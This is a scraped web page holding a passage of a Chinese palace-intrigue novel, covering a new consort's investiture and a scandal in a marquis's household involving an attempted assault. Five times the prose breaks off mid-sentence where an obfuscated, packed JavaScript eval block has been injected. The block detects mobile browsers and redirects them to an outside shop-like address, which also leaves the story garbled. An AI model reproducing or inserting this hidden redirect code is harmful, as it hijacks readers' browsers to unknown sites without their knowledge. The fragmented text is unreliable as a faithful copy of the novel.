d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17246972|197890||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也不准告诉皇上!” 邱月影无奈,只得含泪应是。 那一瞬间,她竟觉得…… 小姐是被腹中怀的孩子,夺舍了……明知前路是死路,竟还义无反顾。 ……是太子,害了贵妃。 邱嫔翻手,攥住了江澜因的手。 “你想让皇后知道,咱们这位太子还活着?不如,再等等。” “为何要等?” “皇后一心惦念着她亲生的三皇子。咱们要拉三皇子入局,才能给皇后致命一击。” 江澜因笑了。 另一边。 江澜因封妃的圣旨已下。上面清清楚楚说了,这次的册封礼,不必贤妃操持。 让皇后来。 相当于当众打了贤妃的脸。 海贵人听了,气得面上扭曲,“……她自己**,勾引皇上,竟还连累了姐姐!姐姐,你岂能任由她欺辱?现在满宫的人,都在看你的笑话。” 贤妃深吸一口气,“人人都以为我受了皇上的误解气极了,我就偏不生气,偏不委屈。” “可是,姐姐……” “不急,轮不到咱们出手。还有皇后娘娘呢。” 果然,何皇后很气。 江澜因那小**,自入宫来短短几日,连升几级。 皇帝甚至为她,打破了后宫既定的规则。 不把自己这个皇后看在眼里。 素月气不过,“皇后娘娘,皇上是被那**迷惑了才会如此,您是皇后,合该劝诫。这后宫里,都指着您了。” 沉吟片刻,何皇后:“去传纯妃过来。” 稍晚些时候。 皇帝驾临坤宁宫。 “皇后,你管束后宫不利。现在,纯妃带头,满宫妃嫔都跪在朕的寝殿前**,成何体统?!” 何皇后跪下,“皇上,此事臣妾全不知情。纯妃是有子,才封妃。贤妃出身后族。容妃是扶余的和亲公主,本就身份高贵。婉妃自不必说,是太后的侄女,您的表妹。她们才不过是妃。” “这**,她凭什么为妃?只怕众妃不服。” 顾辰枭冷锐的目光扫过去,“她们不服,皇后,你呢?” 何皇后抬手按了按鬓角,“皇上得了佳人,臣妾是皇后,自然为皇上高兴。只是,深宫寂寞……臣妾想念霖儿。求皇上,许霖儿回来。” 第97章 册封礼 第九十七章册封礼 何皇后知道皇帝的性子,江澜因封妃已无可避免。 她虽恨江澜因恨得牙根直痒痒,可当务之急,还是那空悬的太子之位更为重要。 必须要赶快扶着她的霖儿,早早儿坐上去,何皇后才能安心。 她低下头,把眼中的怨恨藏得很深。 “皇上,霖儿他十五岁离京,到如今,已有三年了。如今,言儿走了,这宫里没有孩子,臣妾实在膝下空虚。” 见顾辰枭不语,何皇后又殷切道: “霖儿今年成人,皇上也是时候给咱们的孩子,选一位名门淑女了。” 顾承霖离京前,皇帝本有意将他的婚约定下。 可皇后想让三皇子求娶她的侄女为正妻。皇帝不许。 此事便暂作罢。 如今皇后先提起来,可知是愿意在三皇子婚事上退一步的。 只要顾承霖能回来。 顾言泽“已死”,这个当口急急地叫顾承霖回京,皇后和何家打的什么主意,顾辰枭一清二楚。 他极轻地笑了一声,“皇后倒是一位慈母。” 是顾承霖的慈母,却险些真的害了顾言泽性命。 “罢了,既然皇后思念三皇子,就让霖儿回来过个好年吧。” 第二日,江澜因封妃的消息,在朝堂上,激起小小水花。 几个言官跳出来,说此事不合祖制,还请皇上三思。 顾辰枭不说话。 何锋尧上前一步,“皇上的后宫,皇上的家事,轮得到你们在此处胡乱嚼舌?你们自个儿后宅,难道很清静?李大人,本将军记得,去年你家中还闹出过宠妾灭妻的笑话儿吧?怎么,你就很合祖制了?” 此举僭越,他一个武官,敢当堂训斥文官。 顾辰枭却只是一笑,“何将军心直口快,李大人,你别在意。” 李大人闹了个大红脸,讷讷退下。 皇帝目光在何锋尧脸上一扫,道:“朕听闻何将军在武将中,最看重镇南将军孙敬。他几日前已回京,朕召他上殿。” 说着,一挥手。 大殿外响起甲胄摩擦声。 孙敬跪下,“吾皇万岁万岁万万岁!” 众臣面上都不露什么,心中却自惊异。 这镇南将军镇守南疆,非召不得回京。可皇帝召他,他们却一点儿消息都没听到。 南疆这些年来无战事。皇帝密诏,到底所为何事? 何锋尧眸光一闪,粗枝大叶道:“孙将军打仗打得好,微臣心中敬慕。待下了朝,微臣要与他好好儿亲近亲近!” 去探探他的底! 江澜因封妃一事,就这样揭了过去。 三日后,册封礼。 典礼开始前,顾辰枭来了。 他看着晨曦微光与烛火交映下,江澜因坐在铜镜前,一张精致小脸莹白透光。 “皇上……” 江澜因要起身行礼。 被顾辰枭双手按在肩上,扶她重新坐下。 “不必多礼,朕只是来看看你。顺道,送你一件东西。” 沉甸甸的冠子,压在江澜因盘起的发髻上。 “皇上,这是……” 何贵妃的琉璃珊瑚冠。 因贵妃用得时候久,上面的琉璃本有些黯淡。如今,却都换了新的。 知道是贵妃的东西,江澜因瞬间红了眼眶,“皇上,这、这太贵重,臣妾不能戴。臣妾不配。” “你配得上。” 头冠稳稳压在头上。皇帝亲自扶着,叫身旁的宫女用十二根雏凤衔珠金簪固定。 “朕的因因,配得上这世间最好的东西。” 江澜因不能回头,从铜镜里看到,皇帝眸光闪耀,如天幕中冉冉升起的启明星一般明亮。 挺直脊背,对上男人在铜镜中的目光。 江澜因:“……多谢皇上。能在皇上身边伴驾,是因因几世修来的福气。” 呵…… 把前头白月光的东西,送给新欢。 皇帝竟还感动了自己。 江澜因心中一阵无语,含着感激的笑意,任宫女们为她戴好头冠。 这一刻,顾辰枭眼中。 只觉江澜因的身影,和早已远去的何樱身影合二为一。 上苍垂怜,他曾经的挚爱,又回到了他身边。 戴好珊瑚冠,身披高位嫔妃的九色翟衣,江澜因盈盈起身。 顾辰枭牵着她的手,一步步走出翊坤宫去。 江澜因抬头,微微眯起眼。 眼前,天光大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17246973|197890||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 亮,光辉璀璨。 东宫。 耳听着外面的礼乐,顾言泽身子在榻上缩了缩。 他暴躁地抓起身旁的锦被,盖在头上,想隔绝那恼人的声响。 锦被落下,眼前的黑暗刚带来些许睡意。 “太子殿下,皇上命您前去观礼。” “刷——” 锦被被猛地掀开,重重丢在地上。 太子一脚践踏上去,他脸色难看到了至极,“狗东西,你再说一遍!父皇不叫孤出东宫,孤怎么观礼?莫不是你假传圣旨吧?” 来人是御前的苏忠远。 顾言泽抬脚要踹,“吃里扒外的东西!你原是因因给孤的奴才,却投靠了父皇,出卖孤……” “殿下慎言。” 苏忠远淡淡道:“奴才是圣上的奴才,殿下是圣上的臣子,有什么不同?终归都是要听圣上的。殿下若不去,奴才据实回禀圣上便是。” “等等!” 顾言泽汹涌起伏的心口,强压下一口怒气。 “把话说清楚了,父皇让孤,如何观礼?” 到底不敢忤逆,不去。 苏忠远低着头,几乎要压不住唇角的笑意。救他命的人,是江澜因,送他进东宫的,是江澜因。 太子死遁的时候,没想过他们这些东宫伺候的卑贱下人,会不会被盛怒的皇帝和阴狠的皇后处死殉葬。 他苏忠远只忠诚与江澜因。 “殿下,皇上让您穿上礼服。虽出不了东宫,可东宫有纳贤楼,殿下可去那处观礼,遥拜。” 顾言泽闭上眼睛,久久不语。 “殿下既不肯去,奴才便回去禀明……” “去!” 顾言泽猛地睁开眼睛,眼中的阴鸷几乎要藏不住。 “孤这就去。” 纳贤楼上,顾言泽迎着皇帝、江澜因的仪仗。 江澜因头上的琉璃珊瑚冠,迎着朝阳,熠熠生辉。 正是贵妃的那一顶。 顾言泽感觉到,御前太监的目光,黏在自己背上。 正等着挑他的不是处。 太子的膝盖软了,终是无声跪下。 按制,他开口,哽咽道:“儿臣恭祝父皇……恭祝父皇与、与贞娘娘,琴瑟谐和,天地同春!” 第98章 敬哥哥来了 第九十八章敬哥哥来了 说罢,太子抬头。 下面的江澜因却似有所感一般,在这一刻,也抬起了头。 琉璃珊瑚冠上,琉璃珠穗一摇,发出耀眼光芒。 几乎要刺伤顾言泽的眼睛。 眼前这一幕…… 因因身边的男子,本该是他!怎会是父皇? 到底是哪里出错了? 隔着纳贤楼,隔着上百从人,隔着皇帝。 两人遥遥对望。 顾言泽似看见,江澜因莹白如玉的小脸,朝向他,挑起了唇角。 她在笑! 太子瞳仁巨震! 因因……她这是…… 含泪带笑! 逼不得已的笑! 他顾言泽还活着,未婚妻却被强抢到皇帝身旁,因因心中怎能不痛苦?怎能不想他? “因因……你且等着,孤不会放弃你……” 苏忠远离得近,把顾言泽面上变幻的神情都看在了眼里。 “殿下观礼毕,该回宫思过了。” 东宫外宫道上,转角处。 “苏公公,请留步。” 何皇后身边的大宫女素月伸手拦住苏忠远一行人。 她面上闪过一丝疑惑,“东宫修葺,等闲不准人入内,苏公公,您这是做什么来了?” 苏忠远一脸得体的笑,“素月姑娘,咱家是奉皇命清点东宫里,先头贵妃娘娘的遗物。皇上只怕有人,惦记着那些东西,往后还要生事,叫奴才一并锁入皇上私库中。” 素月笑道:“还是苏公公心细,原该如此。” 目送这一队太监远去,素月眸光闪了闪,转身回了坤宁宫。 另一边,皇帝的御辇和江澜因的翟辇行至坤宁宫。 按例,新妃要在后宫众妃见证下,与皇后见礼,由皇后赐予象征嫔妃身份的玉册。 何皇后与众妃早按品大装,等在坤宁宫内。 想着此举是为江澜因抬轿,人人脸上都不好看。 黄玉珠之前被暂时迁出翊坤宫,这几日都住在贤妃的永和宫内。 贤妃一开始待她还亲切,可见她一样没有圣宠,渐渐也不多看她一眼。 早知道,还不如留在翊坤宫! 到底是江澜因圣宠多,不一定什么时候,就分她一杯羹! 还是得想法子,尽早搬回去…… 正想着,冷不防身后传来海贵人声音:“妹妹,如今贞妃得势,你不会想着还要投靠她吧?” 黄玉珠一惊,下意识陪笑道:“怎会?她再得势,也是靠着勾引皇上,品行低劣得来的。怎么比得上贤妃娘娘与海姐姐高洁?嫔妾心中,还是仰慕娘娘和姐姐的。” “这就好。”海贵人皮笑肉不笑,“你是个明白人,贤妃姐姐看重你,往后定会抬举你。你可别做那起子见风使舵的小人。” “……是。嫔妾谨遵姐姐教诲。” 纯妃窥着何皇后脸色,见她始终含笑,倒看不出什么。 纯妃垂下手,按了按发疼的膝盖,狠狠磨牙。 前几日,皇后暗示她,怂恿她跪在宫道上闹,害得她被皇上训斥、不喜。 却为皇后换来了迎回三皇子的机会。 三皇子聪明伶俐,他一回来,自己的二皇子更没立足之地了。 她依附皇后这么多年,落得两手空空,什么都没得到。 众人瞬息万变的思绪中。 “皇上驾到!” “贞妃娘娘到!” 坤宁宫金灿灿的琉璃瓦顶上,惊飞无数白鸟。 坤宁宫外。 靖威侯、文氏与礼部、内务府官员、女官,在一处观礼。 因他二人是贞妃父母,众人都恭喜他们。 靖威侯笑得脸上褶子都开了。 江澜因争气!没想到,竟是江澜因争气啊! 她做了皇帝的宠妃,儿子的起复,还有自己升官,整个侯府的发达,还远吗? 等江澜因生下小皇子,到时候又是另一番天地。 前途无量! 文氏面上也挂着笑,脸颊却不住地抖。 江澜因是从她肚皮里爬出来的,江澜因光彩,她本该跟着骄傲,高兴。 可是…… 当年若不是因为怀上了江澜因,她早就能死遁,跟着心爱的敬哥哥私奔! 她的师师也不至于,从生下来就东躲西藏,没有爹,也不敢认娘。 都怪江澜因! 怪她,毁了她的一生! 又因前几日见了孙敬。孙敬与靖威侯差不多的年纪,可靖威侯早早儿地挺起了一个盛满酒肉的大肚子,脸也垮了。 孙敬却还腰身劲瘦,容颜俊朗。 这怎么比?这没法儿比! 都怪江澜因……都怪江澜因…… “侯夫人,您脸色 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17246974|197890||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不好,腮帮子直抽。可是……牙疼?” 一道柔和的声音传来。 靖威侯也随之看过来,眼中满是不悦。无声地警告文氏,不准被他丢脸,不准作妖! 说话的,是宫内女官。 文氏不敢不答,只得赔笑,“……是、是为女儿高兴。” 女官笑了,“贞娘娘荣华,有皇上的圣宠,定会荣耀母家。娘娘升位份的速度,可是古往今来的头一份儿,侯爷、侯夫人,你们真是教出了一个好女儿啊!” “……是、是。” 文氏的脸抽得愈发厉害。 江澜因再得宠,也不过是个妃。 现在,孙敬回了京,一定会保着文师师做太子妃,做皇后! 那才是她教出来的好女儿! 观礼毕。 靖威侯、文氏带着皇帝的赏赐回府。 靖威侯被人奉承着,面上有光,洋洋自得。 文氏实在看不下去,“侯爷高兴什么?皇上赏赐的东西是好,可及不上咱们府里抬出去的那些嫁妆!江澜因竟一句赐还母家都不提!” 那可是她给文师师备的嫁妆! 就这么没了。 每每想起,文氏心口都呕得发疼。 “你懂什么?嫁妆再好,也是死物。如今贞娘娘得宠,慎儿起复在即。他得了官,本侯再为他请封世子,配郡主,将来说不尽的荣华富贵。你在乎那点子东西?” 文氏皱眉不语。 靖威侯:“还有,贞娘娘的闺名,岂是你能张口就唤的?往后,该尊称一句‘娘娘’,你可知道?” 文氏:“我是她娘……” 靖威侯看定了妻子,“你们文家,个个都没有规矩。岂不知天家的规矩是这世间最大的规矩,比父子纲常还大。你只是生了她,往后见了她,还要跪下行礼。” 他突地又皱眉,“本侯和你说这些做什么?等回了侯府,你就给我禁足思过,再不许出来!” 他话音未落,轿外传来一声:“侯爷好大的威风!侯夫人是皇上亲封的诰命,你敢随意禁她的足,这是藐视皇命!” “哪里来的物质蠢货?你知道个屁!” 禁文氏的足,是皇帝的暗示。侯府岂敢不从? 靖威侯一下掀开车帘,刚想训斥,却愣住。“孙将军?怎么是你?” 文氏瞪大眼睛,心口砰砰直跳。 她的敬哥哥来了! 第99章 侯府祸事 第九十九章侯府祸事 孙敬对上靖威侯的脸,倨傲地点头一笑,“侯爷,敬不过是路见不平罢了。侯夫人她,再怎么说,也是朝廷的诰命。” “呵,呵呵……” 靖威侯心思急转。 张嘴本想怼一句硬的。 可想想,这孙敬奉密诏回京,又与崔家关系密切,是皇帝眼前的大红人。 犯不上得罪。 “这……是侯府家事,不足为外人道。” 孙敬又劝:“侯爷,夫妻两个该一体同心,若是生分了,可不是家族兴旺之兆。” 靖威侯:…… 孙敬是仗着一副好皮囊入赘崔家,才有今日的荣耀。听他这么说,靖威侯几乎要翻出白眼来。 强忍着冲动,靖威侯:“将军说的是。本侯往后会留心。” 想就此打发了。 不想孙敬似乎谈兴正浓,一路骑马走着,一路与靖威侯闲话。 眼看到了侯府门口。 这一路,文氏坐在轿子里,一颗心噗通噗通直跳。 她的敬哥哥,是为她来的!是为了护她,脚踏祥云,从天而降。 她掩住口,强压着哭音,低声道:“侯爷,镇南将军如今炙手可热,听说连何家都要结交,咱们不可慢待了他。该请他过府一叙。” 靖威侯试探:“孙将军,可愿赏脸?” 孙敬:“那敬就恭敬不如从命了。” 靖威侯:…… 他素日里也最喜巴结权贵,可不知为何,见了孙敬,却只觉不喜。 这人与他一般年纪,腰身却还劲瘦挺括,白面无须,哪个像个将军? 简直就像小白脸儿。 可人家如今却是位高权重,崔家也不知比侯府的门第高出多少去。 虽请了人进府,可靖威心中莫名不舒坦得紧,下意识只想要压过孙敬去。可想来想去,处处都不及他。 只有…… “孙将军正值壮年,膝下怎只有一个女儿?将来偌大家业,岂不落空?” 因孙敬是入赘,那崔氏夫人性子强势,只生了一个女儿,便不肯再生。 更不可能给他纳妾。 孙敬没有儿子,即是无后。 想到此,靖威侯心情愉悦,“本侯也是多虑。本侯虽有儿子,可却是个不争气的,日日为他操心。还不如将军没有儿子,来得清净,能一门心思精忠报国。” 孙敬:…… 文氏眼神闪烁,垂头无语。 把人迎进侯府,请到花厅里上坐。 靖威侯攀比的心思尚未歇,“来人,请世子出来,与将军见礼。” 孙敬此来,本是想见见文师师。 正揣度着如何才能如愿。 突听得一阵急促的脚步声,夹杂着女子惶恐的哭声,随风传来。 堂上三人都变了脸色。 只见文师师发髻凌乱,衣冠不整,径直奔进来。 不管不顾,一头扎到文氏怀中。 “娘,救我!求您,救救师师吧!” 文氏愣住,下意识将文师师抱在怀里护住,“这、这是怎么了?” 靖威侯面色瞬间黑沉。 若不是当着孙敬的面,他真想把文师师扯过来,堵住她的嘴,扇她几个耳光! 这文师师,可真会找事啊!偏要在有客的时候! 靖威侯声音威严:“成何体统?” 文师师这次是真的怕了。 她瑟缩在文氏怀里,浑身瑟瑟发抖,“是、是世子,他、他要……师师没脸活了,让师师**吧!” 几乎哭到晕厥。 在场三人没有傻子。 看文师师这副模样,心中已明白了大半。 文氏又气又怕,护着文师师的手抖个不停。 靖威侯怒气攻心,“逆子!这个逆子!” 这就是他的好儿子!非要在孙敬面前,丢他的脸! 孙敬站在一旁,一言不发,攥紧了手指。 这就是他和文氏的女儿? 他挑剔的目光在文师师面上一转。容貌不过中上,性子……也不够沉稳。 乱作一团之际,又有脚步声传来。 是江慎。 他衣襟都被扯开了一道口子,脸上也有三道抓痕,形容十分狼狈。 却满脸潮红,一双眼睛只盯着文师师身形。 竟是一副用过暖情药的模样! “师师,这些年我待你不好吗?侯府待你不好吗?你为何就是不肯?你为何啊!” 听到他声音,文师师身子愈发抖得厉害,“娘……姑母,救我,救救师师吧!师师不愿!” 当着孙敬的面,靖威侯只觉得面子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17246975|197890||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都落光了。 “逆子!浑说什么?还不快跪下!” 江慎虽跪下,腰背却挺得很直,“爹,娘,儿子要师师,儿子心里只有她一人!没有她,儿子吃不下睡不香,求你们,儿子求你们了……” 一番话,说得文氏几近晕厥。 靖威侯暴跳如雷,“逆子!逆子!上次没打够你,这次老子非要打死你不可!” 好好儿的清河郡主不要,非要一个无权无势的表小姐。 还要让那镇南将军看笑话! 这不是蠢,是什么? 靖威侯解下腰间佩剑,用剑鞘重重砸在江慎身上。 江慎身子未好全,受了两下,就跪不住,趴在了地上。 口中还是不断叫着,“儿子要师师,儿子就要师师!儿子非她不娶!她……她已是儿子的了!” “轰隆!” 一道旱雷,直直劈下。 文氏两眼一黑,几乎要晕厥过去。 “慎儿,你、你……怎么可以?她是你妹妹,你妹妹啊!” 靖威侯满心怒气,没留意文氏的话,手上愈发打得重了。 孙敬面上勃然变色。 他一把架住靖威侯的手。 另一只手揪住江慎衣领,几乎把他从地上提起来。 “你说什么?你对她,做什么了?” 眼前这一幕,看在文师师眼中,她一阵恍惚。 这男人是谁……为何会为自己出头? 她疑惑地悄悄抬头,正对上文氏含泪的目光。文氏对她轻轻点了点头。 文师师猛地瞪大眼睛。 爹! 眼前英武高大的镇南将军,居然是她的亲爹! 她不是什么没落侯府没名没姓的表小姐,她该是镇南将军的嫡女,被整个南疆捧在手里疼爱的明珠! 她不该平白吃这些苦,不该啊! 若拿回这一重身份,顾言泽的正妃……本该是她! 靖威侯一愣,猛地推开孙敬。 到此刻,他也察觉出不对来。 他儿子江慎再如何,也是侯府世子,不过是玩儿了区区一个女人,还是侯府白养了多年的表小姐。 就纳了,又能如何? 轮得到孙敬一个外人,指指点点? 他这么激动做什么?又不是他的儿女。 第100章 纳文师师为妾? 第一百章纳文师师为妾? “孙将军,家中出了丑事,本侯不好留你了。” 靖威侯右臂伸直,指向门外。 送客的意思很明显。 孙敬也察觉出失态。 他松了手,任江慎软塌塌倒在地上。 无视了靖威侯这句话,孙敬目光又投向文氏怀里的文师师,刻意放柔语气,“姑娘,你别怕。有本将军在此,纵然是靖威侯世子,也不敢再欺辱于你。你受了什么委屈,说出来,本将军替你讨回公道。” 文氏掩住嘴,响亮地哽咽了一声。 这就是她的敬哥哥。 克制,隐忍,长情。 明明最爱的女人,亲生女儿就在眼前,却不能相认。 只能用这种委婉的法子,迂回地爱护着,关心着。 文氏只觉一颗心都好似被男**手揉捏,酸楚之中,又带着一丝丝的甜。 “师师,快告诉你……你孙伯伯,你到底是怎么了?” 文师师软软地:“是世子趁着酒醉,要欺负我。” “什么欺负你?不是你勾引的?”靖威侯愈怒。 众人无视他的话。 孙敬问出要紧的话:“可真伤着你了?” 要知道文师师的清白还在不在。 若不在了…… 这个女儿也没用有了。太子不会要失节之妇。 文师师:“师师拼命挣扎,没、没到最后一步……” 孙敬、文氏对视了一眼,不易察觉地舒了一口气。 幸好…… 靖威侯:“没到最后一步,不就是没把你怎么样?你哭哭啼啼的,做出这种模样,给谁看?” 被他厉声叱喝,文师师身子一颤,又往文氏怀中缩了缩。 一双眼睛却只是看着孙敬。 爹爹,带我走吧。 这侯府里的日子,师师是一日都过不下去了! 孙敬正沉吟。 文氏也开口道:“侯爷既看不惯师师,处处都要为难她,说到底,是我这个侯府主母当得不够格,连自家侄女儿都护不住。” 她哭道:“既如此,侯府也不便强留师师。不如,就叫她回文家老宅去吧!” 只要文师师能出了这侯府,孙敬有能耐,必然会护着她。 文师师两眼在泪光后闪闪发亮,只看着孙敬。 靖威侯拧眉。 这个文师师闯出这么大祸事,跟太子的事还没撕扯清楚。想跑? “不可。平白叫她这么出去,叫她到外面胡说,是把侯府的颜面踩在脚下!” 江慎也爬起来,膝行到文氏跟前,“娘,不要、不要送表妹走好不好?表妹柔弱,出了侯府,活不下去的……” “慎儿,你住口!”文氏眼前一阵阵地发黑,一张口,口中都是腥甜。 孙敬冷不防道:“侯爷若不想叫这表小姐出去,还该待她好些。” “多谢将军指点。”靖威侯冷冷道:“本侯是不想叫她出去,可也不打算再留她了。” 文氏悚然一惊,尖叫道:“你什么意思?” 靖威侯咬牙狞笑:“侯府养她十年,她坏我女儿好端端的亲事,勾引我儿子,祸乱侯府,还想走?” “不处置了她,本侯对不住江家列祖列宗!” 竟要杀了文师师! “爹,不可啊爹!”江慎恳求,被靖威侯抬腿就踢到一边,捂着心口咳得直不起身。 如今江澜因封妃,侯府地位一日日光耀。 再容不得文师师这个污点! 靖威侯大步奔来,从文氏怀中揪起文师师,“你欠侯府的养育之恩,今日一朝还了吧!” “不、不要!爹,娘,救我!” 文师师尖叫求助。 孙敬上前拦住靖威侯,“侯爷要当着本将军的面**吗?不怕触犯国法?是宫中的贞娘娘教侯爷如此?” “少攀扯贞娘娘!”靖威侯难得清醒了一回,“这文师师在侯府里养了十年,就是侯府女眷。本侯要罚她,有什么不对?” 至于她自己熬不住罚,断了气。 又和侯府有什么关系? 靖威侯:“文师师未嫁,身家性命都是文家的,文家若不服,大可以来找本侯!本侯跟他们说个清楚!至于孙将军你,你未免管得太多了吧?” 孙敬进退两难。 他心一横,道:“侯爷今日要动表姑娘,难道不怕将来有朝一日,太子怪罪?” “太子怪罪?” 靖威侯一愣,猛地反应过来,镇南将军是御前红人,想是也知道太子还活着的秘密。 “将军既然提到,本侯也不怕直说。当日,太子就是从侯府抬出去的。”靖威侯顿了顿,“那日,太子没看文师师一眼。她罪有应得,太子就算知道了,也不会怪罪。” 孙敬猛地一愣,目光下意识刺向文氏。 文氏还未察觉什么。 文师师却知道,这是自己走出侯府,唯一的机会。 只要有孙敬撑腰,她还怕没有高贵的出身,太子妃的前程? 扑通一声,文师师跪倒尘埃: “将军,太子殿下将穿云响留给师师护身。这难道不是太子看重我?殿下因早知那日有异,果然……被皇上发现,太子殿下为了护我,才忍痛不肯牵扯我!将军,您知道太子殿下的性子,他若不在意我,岂会处处都为我着想?” 文师师哀求着,“将军,您在宫中,见过太子吗?太子殿下,他可还好?” 孙敬沉吟。 穿云响珍贵,是皇室专用。 太子将那东西留给文师师,是认可了她将来皇家妇的身份。 他看向靖威侯:“侯爷真要处置这表姑娘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17246976|197890||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,如何非要等到今日?” 该早就处置了。 靖威侯定然也是怕得罪太子。 江家虽出了一位宠妃,可不过是妃。将来,文师师才是皇后,母仪天下。 瞬间做了抉择。 孙敬:“本将军观这师师姑娘的面相,是个有大富贵的。本将军今日为她求情,侯爷,你可肯卖孙某一个面子?” 他又扫了一眼江慎,眼中嫌恶藏得很深。 “将来,世子可去镇南军中历练,也给自己挣一份出身。” 用江慎的前程,换文师师的命。 靖威侯狐疑的目光看向孙敬,“将军为何替此女求情?莫非……你想纳她为妾?” 孙敬:…… 文氏:…… 文师师:…… 只有江慎当了真:“怎可以?师师还不到二十岁,孙将军比舅舅年纪还大些!爹,娘,不可糊涂!不能让师师妹妹与人为妾!” 与人为妾,还不如与他江慎为妾! “崔氏女悍妒之名谁人不知?师师去了,会被她磋磨死的!我也不稀罕去什么镇南军……” “住口!” 靖威侯盯着孙敬双眼,半晌,僵硬地挑了挑唇角,“既然将军喜欢此女,本侯卖将军一个面子。过几日,本侯便将此女送去将军府上,任凭将军发落。在这之前,本侯不会动她。” 孙敬走后。 靖威侯面色阴沉。 叫人依旧拉文师师下去禁足,也不理睬文氏的哭嚎阻拦。 江慎又挨了一顿打。 靖威侯满心烦乱,叫虞姨娘过来伺候。 虞姨娘管家这一阵子,身心舒畅,面色红润。她软软地依偎在靖威侯身上,柔声细语:“侯爷,这是咱们家的家事,那什么将军,这么上心,到底是为什么?” “若是贪恋美色,那表姑娘……倒也没那么美,不如咱们大小姐许多。” “侯爷,您有烦心事,妾身无能,不能替您分忧。可大小姐最是与您一条心,不如派人去宫里请娘娘做主。” 靖威侯沉吟片刻,“你说得很是,贞娘娘总向着本侯。” 第二日,侯府有书信递到宫中。 从头到尾讲了昨日那一场大戏。 江澜因看了,附在引枕上笑出了眼泪。 前世,文师师坐上了后位,才改姓为孙,认祖归宗。 顾言泽登基后,亲近何家,打压崔家。崔家最后只剩下了孙敬这位夫人。 可最后,也是这位崔夫人,提刀直入孙府。 一刀砍翻了威名赫赫的镇南将军,要了他的狗命。 不过最后被文师师五马分尸,惨死在崔老将军的校场之上。 “邱姐姐,”江澜因清越的声音响起,“我记着,那镇南将军与崔氏夫人的独生女儿,今年也十六岁上,该议亲了。” 第101章 痴傻二皇子 第一百零一章痴傻二皇子 “是。” 邱嫔坐在一旁做针线,贞静答道:“那位崔小姐,容貌性情都是一等一的。只是听说身子骨儿不康健,她娘心疼,才把她在身边多留了几年。” 她顿了顿,压低声音道:“娘娘倒不必担心她。崔家只怕也要为她招赘,咱们这位皇后娘娘,也素来不喜崔家。” 不会叫崔小姐为三皇子妃的。 江澜因笑笑,“倒不是担心。” 她将手中书信递过去,“邱姐姐看看。本宫只是好奇,那崔夫人若是知道自己莫名其妙多了个义女,会有什么反应。” 邱嫔一愣,“娘娘,这是家书。” “家书怎么了?家书你也看得。”江澜因眉眼弯弯。 邱嫔莫名红了一下脸,接过书信,耳尖有些发烫。 她一目十行看完靖威侯的书信,整个人冷静下来,拧眉道:“竟闹得这么不像话,全然不顾娘娘的颜面。” 江澜因笑容微冷,“他们什么时候都没顾及过我。” 邱嫔又气又心疼,“娘娘,嫔妾僭越。咱们在宫中,母家也需有些能耐。娘娘如今风头正盛,侯府却羸弱,只怕有心人生事。” “本宫知道。” 江澜因沉稳点头。这就是她留下周嬷嬷,又扶虞姨娘管家的缘由。 “春枝,去给靖威侯回一封信,就说……” 江澜因的家信,清清楚楚写着,文师师想离开侯府,可以。 叫她把这十年来,吃侯府的,用侯府的,折算成银子,都还回来。 靖威侯还在书信中,为儿子江慎求官。 江澜因只一句,“……哥哥恨本宫,本宫不敢亲近他。” 她又叮嘱春枝,“记得给周嬷嬷和虞姨娘赏钱。还有坐胎药,让姨娘加紧服用。她一直想要个孩子傍身,本宫成全她。” 第二日一早。 江澜因按例去坤宁宫给何皇后请安。 何皇后罕见地露出笑容。 